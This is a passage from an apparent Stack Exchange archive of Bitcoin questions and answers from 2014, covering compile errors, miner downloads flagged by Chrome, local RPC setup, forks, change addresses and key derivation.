`leveldb::(anonymous namespace)::InMemoryEnv::NewRandomAccessFile(std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; const&amp;amp;, leveldb::RandomAccessFile**)':&#xA;memenv.cc:(.text+0x1212): undefined reference to `operator new(unsigned int)'&#xA;/root/CopperLarkSrc/src/leveldb/libmemenv.a(memenv.o): In function `leveldb::(anonymous namespace)::InMemoryEnv::NewWritableFile(std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; const&amp;amp;, leveldb::WritableFile**)':&#xA;memenv.cc:(.text+0x132d): undefined reference to `operator new(unsigned int)'&#xA;memenv.cc:(.text+0x136b): undefined reference to `operator new(unsigned int)'&#xA;/root/CopperLarkSrc/src/leveldb/libmemenv.a(memenv.o): In function `leveldb::(anonymous namespace)::InMemoryEnv::GetChildren(std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; const&amp;amp;, std::vector&amp;lt;std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt;, std::allocator&amp;lt;std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; &amp;gt; &amp;gt;*)':&#xA;memenv.cc:(.text+0x1554): undefined reference to `std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt;::operator[](unsigned int) const'&#xA;memenv.cc:(.text+0x15d1): undefined reference to `std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt;::substr(unsigned int, unsigned int) const'&#xA;/root/CopperLarkSrc/src/leveldb/libmemenv.a(memenv.o): In function `leveldb::(anonymous namespace)::InMemoryEnv::LockFile(std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; const&amp;amp;, leveldb::FileLock**)':&#xA;memenv.cc:(.text+0x1be8): undefined reference to `operator new(unsigned int)'&#xA;/root/CopperLarkSrc/src/leveldb/libmemenv.a(memenv.o): In function `leveldb::(anonymous namespace)::InMemoryEnv::NewLogger(std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; const&amp;amp;, leveldb::Logger**)':&#xA;memenv.cc:(.text+0x1d52): undefined reference to `operator new(unsigned int)'&#xA;/root/CopperLarkSrc/src/leveldb/libmemenv.a(memenv.o): In function `leveldb::NewMemEnv(leveldb::Env*)':&#xA;memenv.cc:(.text+0x1daf): undefined reference to `operator new(unsigned int)'&#xA;/root/CopperLarkSrc/src/leveldb/libmemenv.a(memenv.o): In function `__gnu_cxx::new_allocator&amp;lt;std::_Rb_tree_node&amp;lt;std::pair&amp;lt;std::basic_string&amp;lt;char, std::char_traits&amp;lt;char&amp;gt;, std::allocator&amp;lt;char&amp;gt; &amp;gt; const, leveldb::(anonymous namespace)::FileState*&amp;gt; &amp;gt; &amp;gt;::allocate(unsigned int, void const*)':&#xA;memenv.cc:(.text+0x40d3): undefined reference to `operator new(unsigned int)'&#xA;collect2: ld returned 1 exit status&#xA;make: *** [bitcoind] Error 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I saw other people have the same issue here:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=227252.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=227252.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting the source code from here:&#xA;&lt;a href=&quot;https://copperlark.com/wp-download.php?file=CopperLarkSrc.zip&quot; rel=&quot;nofollow&quot;&gt;https://copperlark.com/wp-download.php?file=CopperLarkSrc.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to compile other crypto on this server (litecoin) but not CPL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="7597" LastActivityDate="2018-05-31T21:41:17.100" Title="Trouble compiling CopperLark on Ubuntu 12.04" Tags="|bitcoind|ubuntu|compiling|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21000" PostTypeId="1" CreationDate="2014-01-23T12:06:54.050" Score="2" ViewCount="36503" Body="&lt;p&gt;First I tried &lt;a href=&quot;http://guiminer.org/guiminer-scrypt.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;GUIMiner-scrypt&lt;/a&gt; and then &lt;a href=&quot;http://ck.kolivas.org/apps/cgminer/3.9/&quot; rel=&quot;nofollow noreferrer&quot;&gt;cgminer-3.9.0-windows.zip&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both archives are marked as malicious in Google Chrome. I googled and have not found articles about that. Do other people get such warnings while downloading miner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/97OdM.jpg&quot; alt=&quot;miner malware warning&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My links are 2 top google results&#xA;@TinS gave another download link and file is name is same &lt;code&gt;guiminer-scrypt_win32_binaries_v0.04.zip&lt;/code&gt; but size is different. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One file is marked as malicious by Google Chrome and another not.&lt;/p&gt;&#xA;" OwnerUserId="1921" LastEditorUserId="5406" LastEditDate="2016-04-24T09:02:09.180" LastActivityDate="2021-12-04T20:06:02.890" Title="Trying to download miner but Google Chrome marks them as malicious/malware" Tags="|mining-software|malware|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21001" PostTypeId="2" ParentId="20947" CreationDate="2014-01-23T12:23:36.960" Score="3" Body="&lt;p&gt;RonPaulCoin uses Scrypt (like Litecoin). It is a &lt;strong&gt;Litecoin clone&lt;/strong&gt; that only differs in the specifications:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Limit: 2.1 Million&lt;/li&gt;&#xA;&lt;li&gt;Block time: 2 minutes&lt;/li&gt;&#xA;&lt;li&gt;Reward schedule: 1 RPC per block, halving every four years.&lt;/li&gt;&#xA;&lt;li&gt;Difficulty retargeting: Every 48 blocks (~96 minutes) with a maximum difficulty shift of 11%.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-01-24T18:21:55.303" LastActivityDate="2014-01-24T18:21:55.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21002" PostTypeId="1" AcceptedAnswerId="21005" CreationDate="2014-01-23T12:38:06.377" Score="15" ViewCount="1181" Body="&lt;p&gt;While trying to explain Bitcoin to a friend, her response was:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To me this sounds like just an other monetary system which can be&#xA;  speculated on while making some people rich and keeping others poor. How&#xA;  does it attempt to solve deep rooted problems in our society caused by&#xA;  globalisation and capitalism?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;She was of course referring to geographic and social inequalities, exploitation of workers, political oppression, depletion of natural resources, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some of the ways decentralised proof-of-work currencies (and their underlying protocols) can work to improve these aspects of our society?&lt;/p&gt;&#xA;" OwnerUserId="10278" LastActivityDate="2020-07-04T20:37:59.307" Title="How can Bitcoin solve societal problems caused by capitalism?" Tags="|macroeconomics|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21004" PostTypeId="2" ParentId="21002" CreationDate="2014-01-23T13:18:29.980" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How does it attempt to solve deep rooted problems in our society&#xA;      caused by globalisation and capitalism?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It doesn't. Bitcoin doesn't contradict with capitalism or globalization. Bitcoin is not a political view or a set of society governing rules. It's a digital protocol for transfer and storage of value.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...geographic and social inequalities, exploitation of workers, political oppression, depletion of natural resources, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would say that Bitcoin can help with &quot;social inequalities&quot; and &quot;political oppression&quot; by reducing the power of the states and by reversing the central bank based monetary system which clearly favors banks. BUT, large government and central bank based monetary system are NOT inseparable parts of neither capitalism nor globalization. So I don't think all the problems you mentioned are direct results of capitalism or globalization.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...depletion of natural resources&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin might actually make this one worse. The argument is that mining consumes too much energy. Some argue against this with &lt;em&gt;deductive&lt;/em&gt; arguments. See the related part on this page: &lt;a href=&quot;https://en.bitcoin.it/wiki/Myths&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Myths&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="132" LastEditDate="2014-01-28T13:02:41.317" LastActivityDate="2014-01-28T13:02:41.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21005" PostTypeId="2" ParentId="21002" CreationDate="2014-01-23T13:20:13.110" Score="12" Body="&lt;p&gt;Bitcoin itself, although conceived from an ideological background doesn't have an agenda. It is a tool. It will not solve societal problems by itself, but might help alleviate some issues, by providing competition to current solutions. Especially, wealth distribution in Bitcoin itself isn't better than in other currencies (see e.g. &lt;a href=&quot;http://www.businessinsider.com/bitcoin-inequality-2014-1&quot; rel=&quot;nofollow&quot;&gt;Business Insider on Wealth Distribution in Bitcoin&lt;/a&gt;, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=316297.0&quot; rel=&quot;nofollow&quot;&gt;BitcoinTalk on Distribution of Bitcoin Wealth&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;International Remittances&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Bitcoin enables its users to send money for minuscule fees around the globe. This could be especially beneficial to foreign workers that want to send remittances to their families in developing countries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, they are dependent on expensive services such as Moneygram or Western Union and lose up to 15% of the sent money in fees. Additionally, the recipient needs to go to the next money transmitter shop to pick-up the money. In many instances this is a trip of hours.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Unbanked&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Bitcoin doesn't require its users to have a bank account, as any form of internet access is sufficient to send and receive Bitcoin. Today, there is an enormous number of people without bank accounts. For example there are about &lt;a href=&quot;https://en.wikipedia.org/wiki/Unbanked#The_unbanked_in_the_United_States&quot; rel=&quot;nofollow&quot;&gt;10 million unbanked or underbanked households in the US&lt;/a&gt;. In developing countries more than 50% of the populations are unbanked, women more so than men.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without a bank account, you are either unable to use or significantly disadvantaged regarding a wide-range of services, such as credits, saving, insurance, payment for contracts, and internet commerce. &lt;a href=&quot;http://www.theguardian.com/global-development-professionals-network/dai-partner-zone/benefits-of-bringing-mobile-banking-to-the-unbanked&quot; rel=&quot;nofollow&quot;&gt;See for example: Guardian on mobile banking for the unbanked&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin could provide an easy access and cheap payment system for many of these services. It could be significantly cheaper than current payment systems such as &lt;a href=&quot;https://en.wikipedia.org/wiki/M-Pesa&quot; rel=&quot;nofollow&quot;&gt;M-Pesa&lt;/a&gt;, and have additional advantages by not being centrally run. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Censorship&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;No user can be locked-out of Bitcoin. On the other hand, it is well known for such things to happen in centralized payment systems for various reasons: &lt;a href=&quot;http://www.bestcigarprices.com/blog/ebay-and-paypal-bring-our-embargo-to-germany/&quot; rel=&quot;nofollow&quot;&gt;eBay and Paypal exports Embargo&lt;/a&gt;, &lt;a href=&quot;http://www.theinquirer.net/inquirer/news/2118235/paypal-blocks-donations-diaspora&quot; rel=&quot;nofollow&quot;&gt;Paypal blocks donations to Diaspora&lt;/a&gt;. This is especially important for protest movements that might be shut-down by their government, think Wikileaks, Occupy Wallstreet, or Social equality movements in repressive states.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-09-28T12:10:46.047" LastActivityDate="2014-09-28T12:10:46.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21006" PostTypeId="2" ParentId="21000" CreationDate="2014-01-23T13:24:54.673" Score="1" Body="&lt;p&gt;Don't worry, Google has added this feature into Chrome : &lt;a href=&quot;http://www.pcworld.com/article/2059579/googles-chrome-will-automatically-block-malware.html&quot; rel=&quot;nofollow&quot;&gt;http://www.pcworld.com/article/2059579/googles-chrome-will-automatically-block-malware.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it seems that sometimes Chrome marked as malicious something which is not. If you have downloaded it from the official website you don't have to worry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to be sure you can get a checksum of the file (there is not the checksum on the official page so just ask someone you trust).&lt;/p&gt;&#xA;" OwnerUserId="3819" LastEditorUserId="3819" LastEditDate="2014-01-23T16:59:08.880" LastActivityDate="2014-01-23T16:59:08.880" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21008" PostTypeId="2" ParentId="20998" CreationDate="2014-01-23T14:24:22.897" Score="2" Body="&lt;p&gt;That is what is considered a hard fork, assuming that both halves have their reasons to not change it's versions and that previous blocks in the blockchain are considered valid in both clients then we will have 2 types of coins.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Coins generated before the fork (A) will be freely double spendable transactions using this kind of inputs will be accepted by both groups of miners and considered valid.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Coins generated after the fork (B, C), non double spendable and transaction that use this kind of coins will be accepted by only one of groups the other will discard it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As long as you mix A with only B or C in your transactions they will be accepted by half of the miners, you could not mix B and C as you client will have only one blockhain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Services and clients that are connected to the network will be using chain B or C, even swapping and having reorgs of really large portions of the chain if the client considers valid both chains, but on a given time a client can only have one chain or the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In such scenario clients and merchants will choose B or C for whatever reasons and get a client modified to only allow B or C blocks, that will disable double spending attacks agains the same merchant (but will still allow to double spend between merchants using different chains).&#xA;Maybe new clients will be created to block all transactions using A coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, in real life this would not matter, if such an event happens for more than a couple of hours, the fork and double spending problems will crash bitcoin value, merchants will disconnect from the network and stop accepting bitcoins and miners will have no reason to continue mining B or C, it would be better for them to start a new coin altogether (Bitcoin 2  and Bitcoin^2) than continue working on that.&lt;/p&gt;&#xA;" OwnerUserId="10574" LastActivityDate="2014-01-23T14:24:22.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21010" PostTypeId="1" AcceptedAnswerId="21015" CreationDate="2014-01-23T14:33:30.277" Score="1" ViewCount="468" Body="&lt;p&gt;Which universities of the World accept bitcoins to take their course fee? Can it be done by bitcoins? I need to know it as I am planning to take some courses for higher education from an reported University.&lt;/p&gt;&#xA;" OwnerUserId="11335" LastActivityDate="2014-01-23T20:15:15.977" Title="Does any university accept bitcoin to take course fee?" Tags="|education|" AnswerCount="2" CommentCount="0" ClosedDate="2014-02-03T07:38:32.710" ContentLicense="CC BY-SA 3.0" />
  <row Id="21011" PostTypeId="2" ParentId="21010" CreationDate="2014-01-23T14:36:11.470" Score="0" Body="&lt;p&gt;Yes, Cambria University take tution fees as Bitcoin the report states :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;London:  A university in the UK has become the first public varsity in the world to allow students to pay their tuition fees with the digital currency Bitcoin.&lt;/p&gt;&#xA;&lt;p&gt;Students at Cumbria University attending two courses examining the role of complementary currencies will be allowed to use the units.&lt;/p&gt;&#xA;&lt;p&gt;Last year the University of Nicosia, a private university in Cyprus, announced it would accept Bitcoin, but the University of Cumbria is the first public university to do so, and for courses that are already validated and accepting students.&lt;/p&gt;&#xA;&lt;p&gt;Cumbria's system for accepting payments, via the Bitpay system, is already operational, the university said in a statement.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The complete report can be read on the following URL&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ndtv.com/article/world/british-university-to-accept-tuition-fees-in-bitcoin-474086&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ndtv.com/article/world/british-university-to-accept-tuition-fees-in-bitcoin-474086&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10829" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-01-23T14:36:11.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21015" PostTypeId="2" ParentId="21010" CreationDate="2014-01-23T14:52:45.290" Score="1" Body="&lt;p&gt;University of Cumbria, a British University, is the first Public University accepting bitcoin in the UK for two of its courses. “Certificate of Achievement in Sustainable Exchange”, will be taught at Cumbria’s London campus, and the “Postgraduate Certificate in Sustainable Leadership”, which will take place at the Lake District campus. &lt;a href=&quot;http://www.independent.co.uk/student/news/cumbria-becomes-first-public-university-in-the-world-to-accept-bitcoin-in-tuition-fees-9074700.html&quot; rel=&quot;nofollow&quot;&gt;http://www.independent.co.uk/student/news/cumbria-becomes-first-public-university-in-the-world-to-accept-bitcoin-in-tuition-fees-9074700.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other options globally include the University of Nicosia in Cyprus (&lt;a href=&quot;http://www.unic.ac.cy/news-and-events/73/unic-to-be-the-first-university-in-the-world-to-accept-bitcoin/112831#.UuFCG9LnaUk&quot; rel=&quot;nofollow&quot;&gt;http://www.unic.ac.cy/news-and-events/73/unic-to-be-the-first-university-in-the-world-to-accept-bitcoin/112831#.UuFCG9LnaUk&lt;/a&gt;) and there are unsubstantiated rumors that Novi Sad in Serbia takes them as well.&lt;/p&gt;&#xA;" OwnerUserId="11338" LastEditorUserId="5875" LastEditDate="2014-01-23T20:15:15.977" LastActivityDate="2014-01-23T20:15:15.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21016" PostTypeId="2" ParentId="20987" CreationDate="2014-01-23T14:57:27.427" Score="0" Body="&lt;p&gt;I had screwed up.  I entered the wrong yourname in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --user yourname --data-binary '{&quot;id&quot;:&quot;t0&quot;, &quot;method&quot;: &quot;getinfo&quot;, &quot;params&quot;: [] }' http://127.0.0.1:8332/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as what I had entered for rpcuser= in my bitcoin.conf file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I entered the right yourname, the curl command responded with correct data from my bitcoin wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had tried entering the following into bitcoin.conf file but they were unnecessary and so I removed them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=*&#xA;rpcallowip=127.0.0.1&#xA;rpcssl=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12048" LastActivityDate="2014-01-23T14:57:27.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21018" PostTypeId="1" CreationDate="2014-01-23T15:17:56.547" Score="0" ViewCount="356" Body="&lt;p&gt;I'm new to all of this... want some help with definitions such as GPU/CPU, etc..  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I understand BTC is no longer relevant in terms of individually mining... what would I purchase for under $200 that I could use to mine litecoin or altcoin or anything like that?  &lt;/p&gt;&#xA;" OwnerUserId="12599" LastActivityDate="2014-01-24T03:06:29.030" Title="Looking to start mining litecoin/altcoin" Tags="|litecoin|altcoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21019" PostTypeId="2" ParentId="21018" CreationDate="2014-01-23T15:21:12.070" Score="0" Body="&lt;p&gt;If you can get good graphics card with $200 install that in your computer and start mining newly launched Altcoins and later exchange them with Bitcoin &lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-23T15:21:12.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21020" PostTypeId="1" AcceptedAnswerId="21021" CreationDate="2014-01-23T15:29:23.730" Score="3" ViewCount="132" Body="&lt;p&gt;Bitcoin only has 21 million possible coins so far I know. Who hold these coins? I just want rough estimation. &lt;/p&gt;&#xA;" OwnerUserId="11341" LastActivityDate="2019-07-09T00:34:16.120" Title="I am eager to know details about distribution of bitcoin" Tags="|learning|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21021" PostTypeId="2" ParentId="21020" CreationDate="2014-01-23T15:34:41.330" Score="2" Body="&lt;p&gt;According to Steven Englander: Best estimates are that there are about one million holders of Bitcoin;  47 individuals hold about 30 percent, another 900 hold a further 20 percent, the next 10,000 about 25% and another million about 20%, with 5% being lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read more: &lt;a href=&quot;http://www.businessinsider.com/bitcoin-inequality-2014-1#ixzz2rEi2kG5g&quot; rel=&quot;nofollow&quot;&gt;http://www.businessinsider.com/bitcoin-inequality-2014-1#ixzz2rEi2kG5g&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11338" LastActivityDate="2014-01-23T15:34:41.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21022" PostTypeId="1" AcceptedAnswerId="21064" CreationDate="2014-01-23T16:09:59.180" Score="2" ViewCount="353" Body="&lt;p&gt;How are colored coins enforced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A signature can easily be rejected, and so can a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does the blockchain enforce that a particular asset is tied to the colored coin or has been delivered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see how another cryptosecurity could be tied to a cryptocurrency, but does the blockchain physically manifest itself, kick down the door of 31uEbMgunupShBVTewXjtqbBv5MndwfXhb, and collect the asset if 31... doesn't deliver?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-11-09T11:54:36.377" Title="How are colored coins enforced?" Tags="|protocol|colored-coins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21023" PostTypeId="1" AcceptedAnswerId="21026" CreationDate="2014-01-23T16:21:56.327" Score="2" ViewCount="155" Body="&lt;p&gt;Why over complicate things with additional private and public keys that are hidden from the user and make it possible for backed up wallets to go out of date?  Why can't the change address just be the address that started the transaction?&lt;/p&gt;&#xA;" OwnerUserId="12602" LastActivityDate="2014-01-23T19:39:15.140" Title="Why doesn't a change address just point back to the address that sent the transaction?" Tags="|client|change|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-09T21:05:17.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="21024" PostTypeId="2" ParentId="20966" CreationDate="2014-01-23T18:52:24.917" Score="0" Body="&lt;p&gt;First a short explanation what your miner does: it calculates the (double) sha256 hash of some data. The resulting hash has to have some leading zeros. The number of leading zeros is the &quot;difficulty&quot;: The more zeros, the more difficult it is to find it. A miner changes some bytes of the data it hashes, to generate different hashes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most pools support different protocols with different options. The original protocol was &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow&quot; title=&quot;getwork&quot;&gt;getwork&lt;/a&gt;. But this allows only 2^32=4.29 GH for one request. For fast ASIC miners with 600 GH/s, the limiting factor would be the network speed, not the mining speed, because the miner was allowed to change 4 bytes only. There are some extensions to increase this limit, but it is not a nice an extend-able protocol. This was the reason to invent &lt;a href=&quot;https://en.bitcoin.it/wiki/Getblocktemplate&quot; rel=&quot;nofollow&quot; title=&quot;getblocktemplate&quot;&gt;getblocktemplate&lt;/a&gt;. It allows to change much more data on the miner client side, and the miner decides what transactions are included in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your mining software gets a &quot;share&quot;, it mines it until it finds a hash for the requested difficulty. Then it sends it to the server. There are pools which adjusts the difficulty, depending on how fast your client solves a share. The client can actively request new shares, or it can use the longpoll option, which means the server sends new shares, if it thinks it is necessary (e.g. there are new and profitable transactions with fees which can be included in a new block and which might require a new getblocktemplate). Easyminer supports getblocktemplate, so it is not important how many shares you get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The profit calculator you cited is for using the miner with a pool. Except the solo mining days number: 148 days would be the average time you need to solve a block on your own. the difference to pool mining is, that you create your own block (this is similar to getblocktemplate), but the difficulty is not from the mining pool, but it is the current difficulty from the bitcoin network. This makes it much harder to find some data, so that the resulting hash satisfies the difficulty. But if you mine a block, you'll get 25 bitcoins for it. If you are lucky, you could find a block after a week, but if you are unlucky it might need a year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The required processing power for your computer for a PCI card is very low. The computer is only used to get the work from a pool (or the bitcoin network for solo mining) and then waits for the card to brute force a lot of hashes. But you need a good power supply and cooling system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with all the current mining hardware is the availability. You can pre-order it, but when you get it (sometimes you have to wait months for new products), the difficulty of the bitcoin network might have increased already, so that it needs longer until the hardware break even. Or the exchange rate for bitcoins to a fiat currency dropped, if you want to exchange it.&lt;/p&gt;&#xA;" OwnerUserId="12422" LastActivityDate="2014-01-23T18:52:24.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21026" PostTypeId="2" ParentId="21023" CreationDate="2014-01-23T19:39:15.140" Score="5" Body="&lt;p&gt;The reason for not sending back to (one of the) previous addresses, is privacy. Not just your privacy - perhaps you don't care - but the privacy of everyone using the system. Reusing addresses this way makes it blatantly obvious which of the output is the real output and which is change, meaning that transaction graph analysis becomes a lot easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallet backups going out of date is a very good counter-argument to this. Security and privacy are often hard to combine. It's also the reason why for example Multibit and Bitcoin Wallet for Android up to now do reuse addresses for change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a solution that has the advantages of both exists. Deterministic wallets (in particular BIP32) allow generation of new change addresses (including the ability to detect them when recovering from a backup), without revealing this to everyone in the world. In addition, they do support selective disclosure to people with whom you want to share your wallet's history.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-01-23T19:39:15.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21027" PostTypeId="1" CreationDate="2014-01-23T20:12:34.667" Score="2" ViewCount="2314" Body="&lt;p&gt;I'm trying to understand better how bitcoin works and I'm stuck. I've read a blog showing how to construct the WIF from the 256-bit secret integer and up to that point, I think I follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I'm &quot;lost&quot; when it comes to the (X,Y) point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following facetious example (where the 256-bit secret exponent as been set to '1' on purpose), what defines the value of X and Y?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A related question: for the same secret exponent ('1' in this case), could we have ended up with a different (X,Y)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;secret exponent: 1&#xA;  hex:           1&#xA;WIF:             KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn&#xA;  uncompressed:  5HpHagT65TZzG1PH3CSu63k8DbpvD8s5ip4nEB3kEsreAnchuDf&#xA;public pair x:   55066263022277343669578718895168534326250603453777594175500187360389116729240&#xA;public pair y:   32670510020758816978083085130507043184471273380659243275938904335757337482424&#xA;  x as hex:      79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798&#xA;  y as hex:      483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8&#xA;y parity:        even&#xA;key pair as sec: 0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798&#xA;  uncompressed:  0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\&#xA;                   483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8&#xA;hash160:         751e76e8199196d454941c45d1b3a323f1433bd6&#xA;  uncompressed:  91b24bf9f5288532960ac687abb035127b1d28a5&#xA;Bitcoin address: 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH&#xA;  uncompressed:  1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That example has been generated with an utility you can find here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.richardkiss.com/?p=371&quot; 